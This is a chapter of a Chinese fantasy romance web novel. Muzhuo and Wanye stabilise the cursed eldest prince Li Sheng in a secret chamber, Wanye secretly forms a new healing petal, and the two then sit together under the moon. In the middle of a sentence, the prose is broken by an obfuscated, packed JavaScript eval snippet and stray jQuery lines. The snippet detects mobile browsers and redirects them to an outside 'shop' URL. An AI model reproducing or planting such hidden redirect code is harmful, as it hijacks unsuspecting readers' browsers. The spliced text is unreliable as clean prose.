两人脚步放得极轻,踏过发白的石阶,迅速回到主院。
院中战斗的痕迹已被粗略掩去,碎裂的瓷片扫到了角落,空气中仍弥漫着一丝若有若无的甜腻焦糊味,与清冷的雪气混杂,形成一种诡异的不协调感。
慕酌与宛楪并未放松警惕,慕酌持剑立于廊下阴影处,身形几乎与廊柱融为一体,唯有目光如寒星,精准地落在走近的两人身上。宛楪则稍靠前些,指尖残余的微末青辉尚未完全消散,映得她侧脸轮廓柔和却紧绷。
见李琰与陈王一同返回,且李琰肩头虽染血,神色却不见先前那般紧绷欲裂的杀意,慕酌眼中掠过一丝极快的审视,宛楪也微微蹙起了眉。
陈王率先开口,声音压得很低,却足够清晰,打破了院中凝滞的气氛:“大皇子……一直在我府上地下秘室。他如今的模样,见不得人,亦恐引人生疑,故而一直藏匿其中。”
慕酌眉头几不可察地一蹙,目光锐利地看向陈王:“既如此隐秘,王爷又何必大张旗鼓,以赏瓷之名将我等请来府中?”
陈王面上毫无波澜,甚至扯出一丝属于亲王的、略带冷诮的弧度:“本王乃陛下亲弟,当朝亲王。一纸请柬,你们若来,自然省事。若不来……”
他顿了顿,目光扫过慕酌和宛楪,“以下犯上、藐视皇亲的罪名,再加上些许‘证据’,请你们‘过府一叙’,也非难事。”这话说得直白而阴沉,毫无掩饰其中的威胁与算计。
李琰在一旁沉默着,算是默认了这种说法。此刻不是纠结这些的时候。
众人不再多言,气氛沉闷地跟着陈王,穿过几重曲折的回廊,来到主院后方一处极为隐蔽的假山石旁。
陈王在几块看似寻常的山石上以特定顺序按动,假山底部悄然滑开一道仅容一人通过的狭窄入口,一股更加浓郁阴寒、夹杂着淡淡血腥与某种腐败甜香的气息立刻涌出,与地面上清冽的雪气形成鲜明对比,令人作呕。
地下甬道狭窄而陡峭,壁上嵌着的并非寻常灯烛,而是一种散发着幽绿色暗光的矿石,光线惨淡,将人的影子拉得扭曲晃动。
四周摆放着一些蒙尘的旧物,式样古朴,不似近世之物,在这诡谲绿光映照下,形同鬼魅遗存。
甬道尽头是一间不大的石室。阴邪之气在这里几乎凝成实质,冰冷刺骨。
室角,一人蜷缩在冰冷的石板上,身形以一种极其不自然的姿态扭曲着,仿佛全身骨骼都曾被巨力拧碎又胡乱拼接。
他面目狰狞,五官移位,皮肤呈现出一种死气沉沉的青黑之色,皮下的血管贲张蠕蠕,如同无数细小的活物在皮肤下游走。气息微弱至极,时断时续,真如风中残烛,下一刻便要彻底熄灭。
正是失踪已久的大皇子李胜。
宛楪的目光落在李胜身上,心头一紧。
这阴邪之气比她预想的还要污浊霸道,不仅侵蚀肉身,更在疯狂啃噬生机与灵魂。
“如何?可能救他?”陈王的声音紧绷,目光死死钉在慕酌和宛楪脸上,那份属于王爷的威严此刻已被焦灼取代。
慕酌没有立刻回答。他缓步上前,在距离李胜几步远处停下,仔细审视片刻,面色凝重。
随后,他从怀中取出一个看似普通的锦囊,解开系绳,里面是一只小巧的玉盒。他打开玉盒,室内幽绿的光线仿佛被什么吸引,微微波动了一下。玉盒中央,静静躺着一片花瓣。那花瓣非金非玉,质地奇异,散发着一种与周围阴邪格格不入的、柔和却坚韧的微光,只是那光芒已十分黯淡,边缘甚至有些虚幻,似随时会化作光点消散。
宛楪的心猛地一沉。之前在皇城外看见的时候是远处匆匆一瞥,现在慕酌拿出来,她才看清楚。
那是她以本源法力凝成的“青灵护心瓣”,使用的法力更多,是丁灵拜托她做的,说是要做镇店之宝,整个南国算上丁灵手里也不过三朵,慕酌到底什么身份……
此刻花瓣光华黯淡,凝聚的法力逐渐在消散,是因为制作时间太久,护心花没那么长的保存时间。
慕酌小心翼翼地用指尖捻起那轻薄如无物的花瓣,动作轻柔得仿佛对待易碎的梦境。他俯身,将花瓣轻轻置于李胜剧烈起伏、青黑血管狰狞的胸膛正中。
花瓣触及皮肤的刹那,微弱的光芒似乎跳动了一下,随即,那柔光如同浸润般,缓缓渗入李胜的皮肉之下。
一股极淡却清灵的气息散开,暂时驱散了周遭些许令人不适的甜腻。李胜剧烈抽搐的身体,竟肉眼可见地缓缓平复下来,狰狞扭曲的面容线条也略微松弛,虽然依旧可怖,却少了那份濒临彻底疯狂的躁动。微弱的气息,似乎也凝实了一丝。
陈王紧紧攥着的拳头松开了些许,眼中迸发出希冀的光芒。李琰也暗暗松了口气,看来慕酌所言非虚,至少能暂时稳住李胜的状况。
“眼下只能暂时压制,争取时间。”慕酌直起身,声音沉稳,“赤魔蛊根深蒂固,阴邪侵体已深,非一时可解。需从长计议,找到拔除蛊毒、净化邪气的根本之法。”
李琰看向陈王,眼神交汇,彼此明了。“既然如此,”李琰开口,声音恢复了惯常的冷静,“我们便按方才所言,准备下一步。时间不等人。”
陈王重重点头,又转向慕酌与宛楪,语气郑重:“还请二位暂留府中。胜儿情况未稳,后续……或许还需仰仗二位之力。府中之事,也需人坐镇。”
这话半是请求,半是暗示他们已卷入太深,此刻抽身不易。
慕酌与宛楪对视一眼。慕酌几不可察地点了下头,宛楪也轻声应道:“王爷放心,我们既已至此,自当尽力。”
商议既定,陈王与李琰先行离去,准备后续事宜。石室中只剩下慕酌、宛楪,以及石板上气息微弱的大皇子。幽绿的光线下,寂静得只能听到李胜偶尔艰难抽气的声音。
宛楪看着李胜胸口那几乎看不见的微光,心中忧虑更甚。
这片花瓣耗尽,李胜恐怕立刻会被反噬,情况更糟。而她清楚,慕酌手中只有这一片。必须再凝一片……趁现在还有些余力。
她悄然深吸一口气,压下灵台传来的细微眩晕感,转头对慕酌道:“此地气闷,我出去透透气。”声音尽量放得平缓自然。
慕酌正低头审视着李胜的状况,闻言抬眼看向她。地下幽绿的光映在他深邃的眸中,看不清具体情绪,只觉那目光沉静而专注,在她略显苍白的脸上停留了一瞬。“小心些。”他低声道,语气如常,却并未阻拦。
宛楪微微颔首,转身沿着来时的狭窄甬道快步离去。她并未在假山外多做停留,而是凭着记忆和感知,寻到了离主院稍远、靠近府墙的一处偏僻小园。
园中也有积雪,但无人打理,荒草枯枝半掩于雪下,更显寂寥。一株老梅虬枝盘结,在月光下投下张牙舞爪的影子。
她快步走到梅树之后,背靠冰冷的树干,确保四周无人窥视。寒风卷着雪沫刮过脸颊,带来刺痛,却也让她精神一振。她闭上眼睛,双手在身前结出一个极其复杂古老的手印,指尖微微颤抖。
凝聚“青灵护心瓣”需抽取本源灵力,过程并不轻松。一丝丝冰蓝色的光华自她丹田处缓缓升起,沿着经脉流转,逐渐向胸前汇聚。那光华纯净而凛冽,与地下石室的阴邪之气截然相反。随着光华汇聚,她的脸色以肉眼可见的速度变得更加苍白,额角渗出细密的冷汗,在月光下泛着微光。
体内传来阵阵虚乏之感,如同潮水般涌上。她咬牙坚持,意念集中,引导着那团逐渐成型的、蕴含着生机与净化之力的光晕,慢慢塑造成一片花瓣的形态……
她不知道自己为什么在和影妖重伤的情况下还要帮助慕酌,可能,是因为他们都是来自南国,也可能是听了大皇子的事情,真的可怜他……
不知过了多久,也许只是片刻,一片与之前几乎一模一样、只是光华略显新鲜的“青灵护心瓣”虚影在她掌心上方缓缓旋转,凝实。
她猛地松了口气,身形晃了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275807|198236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晃,连忙扶住粗糙的梅树树干,指尖冰凉。成功了,但消耗之大,远超预期。她小心地将新凝的花瓣以灵力封存于随身一枚温润的玉坠之中,这才稍感安心。
待气息稍稍平复,她整理了一下微乱的鬓发和衣襟,拭去额角冷汗,尽量让自己看起来如常,这才转身往回走。
经过那处假山,地下室门还开着,慕酌已经不在那里,宛楪走下去,有些勉强。
旧的护心花和新的护心花作用,大皇子的面色开始变得舒缓,一股青色的灵力在李胜周围弥漫,断掉的骨头,错位的四肢慢慢在复原…
宛楪面色有些复杂的看着李胜,想到一开始跟这个人合作,还不惜以自身为代价,引出那个傀儡人,就是不愿意出卖自己的国家。
可他的国家就是这么对他的,看着多日不见就这么惨目忍睹的大皇子,宛楪有些不忍心,她把头转了过去。
北国怎么经研究这些邪术,这些和影妖又有什么关系……
宛楪神色变得严肃,强行使用大量法力,有些反噬,她嘴角溢出一丝鲜血,绿色的鲜血……
她赶紧擦干净,没有过多停留,轻咳两声走上去,外面的月色很好,清凉的柔和,像是梦幻的蚕丝锦布从天而降。
刚踏入主院范围,便见慕酌独自立在方才他们战斗过的廊下。
他已还剑入鞘,负手而立,仰头望着天际那轮清冷的明月,不知在想些什么。月光如水,倾泻在他挺拔的身上,勾勒出清晰的肩线轮廓,也在地面积雪上投下一道孤直的影子。四周静谧,只有微风偶尔拂过廊下未扫净的瓷粉,发出极其细微的沙沙声。
听到脚步声,慕酌转过头来。他的目光先是快速扫过她全身,像是在确认什么,随即落在她脸上。廊下光线半明半暗,他的眼神在阴影中显得格外深邃。
“去了许久。”他开口,声音比平时低沉些许,听不出什么情绪,只是平淡地陈述。
宛楪走到他身侧半步之遥停下,也抬眼望向那轮月亮,勉强弯了弯唇角:“嗯,在那边小园里……看了会儿月亮。今夜月色,倒是难得清明。”她声音轻柔,带着一丝不易察觉的疲惫。
靠近慕酌,他心脏处的本源之力传过来,和她自身相辅相成。
两个人就在廊下坐下,看着天上的月色,她不由得把头靠了过去。
慕酌没有立刻接话,只是静静地看着她。月光流淌过她略显苍白的脸颊,细腻的肌肤仿佛染上了一层薄薄的、清辉的釉色,长睫在眼下投出浅浅的阴影,遮住了眸底可能泄露的情绪。寒风撩起她几缕鬓边碎发,拂过精巧的耳廓。
月亮女神,慕酌闪过他这几天见到的宛楪,妖邪的,空洞的,明媚的,神性的,灵动的,真的,很像天上的,他不敢触碰的……神。
他忽然极轻地动了一下,原本负在身后的手自然垂落身侧,指尖微微蜷缩,又松开。两人之间的距离似乎并没有变化,但空气里某种无形的张力,却因这静谧和月光,悄然发生着改变。
“是很好看。”他低声道,目光却并未从她侧脸移开,仿佛说的不止是月色。
宛楪感觉到他的注视,心跳不受控制地漏了一拍,随即又稍稍加快。她依旧望着月亮,指尖却无意识地捻了捻袖口微凉的布料。
夜风送来远处隐约的、不知是真实还是臆想的瓷偶摩擦声,更衬得此刻这方小天地的宁静如同偷来的一般,脆弱而珍贵。
两人就这样并肩立于廊下,谁也没有再说话。月光无声流淌,将他们的影子拉长,在洁白的雪地上浅浅交融。
远处府邸深院的阴谋、地下石室的痛苦、即将到来的腥风血雨,仿佛都被这清冷的月辉暂时隔开。
只有微凉的夜风,淡淡的、属于雪与梅的冷香,以及彼此近在咫尺、清晰可闻的呼吸声,萦绕在这片刻的、心照不宣的静谧里。
突然想到什么,慕酌攥紧了自己身旁的衣角,反复揉搓,上好的锦色料子平白多了很多褶皱。